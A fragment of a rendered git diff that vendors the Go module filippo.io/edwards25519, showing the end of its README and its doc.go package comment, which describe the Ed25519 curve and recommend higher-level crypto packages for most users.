||||
Most users don't need this package, and should instead use `crypto/ed25519` for signatures, `golang.org/x/crypto/curve25519` for Diffie-Hellman, or `github.com/gtank/ristretto255` for prime order group logic. However, for anyone currently using a fork of `crypto/internal/edwards25519`/`crypto/ed25519/internal/edwards25519` or `github.com/agl/edwards25519`, this package should be a safer, faster, and more powerful alternative.
|
||||
|
||||
Since this package is meant to curb proliferation of edwards25519 implementations in the Go ecosystem, it welcomes requests for new APIs or reviewable performance improvements.
|
20
vendor/filippo.io/edwards25519/doc.go
generated
vendored
Normal file
@ -0,0 +1,20 @@
|
||||
// Copyright (c) 2021 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package edwards25519 implements group logic for the twisted Edwards curve
|
||||
//
|
||||
// -x^2 + y^2 = 1 + -(121665/121666)*x^2*y^2
|
||||
//
|
||||
// This is better known as the Edwards curve equivalent to Curve25519, and is
|
||||
// the curve used by the Ed25519 signature scheme.
|
||||
//
|
||||
// Most users don't need this package, and should instead use crypto/ed25519 for
|
||||
// signatures, golang.org/x/crypto/curve25519 for Diffie-Hellman, or
|
||||
// github.com/gtank/ristretto255 for prime order group logic.
|
||||
//
|
||||
// However, developers who do need to interact with low-level edwards25519
|
||||
// operations can use this package, which is an extended version of
|
||||
// crypto/internal/edwards25519 from the standard library repackaged as
|
||||
// an importable module.
|
||||
package edwards25519
|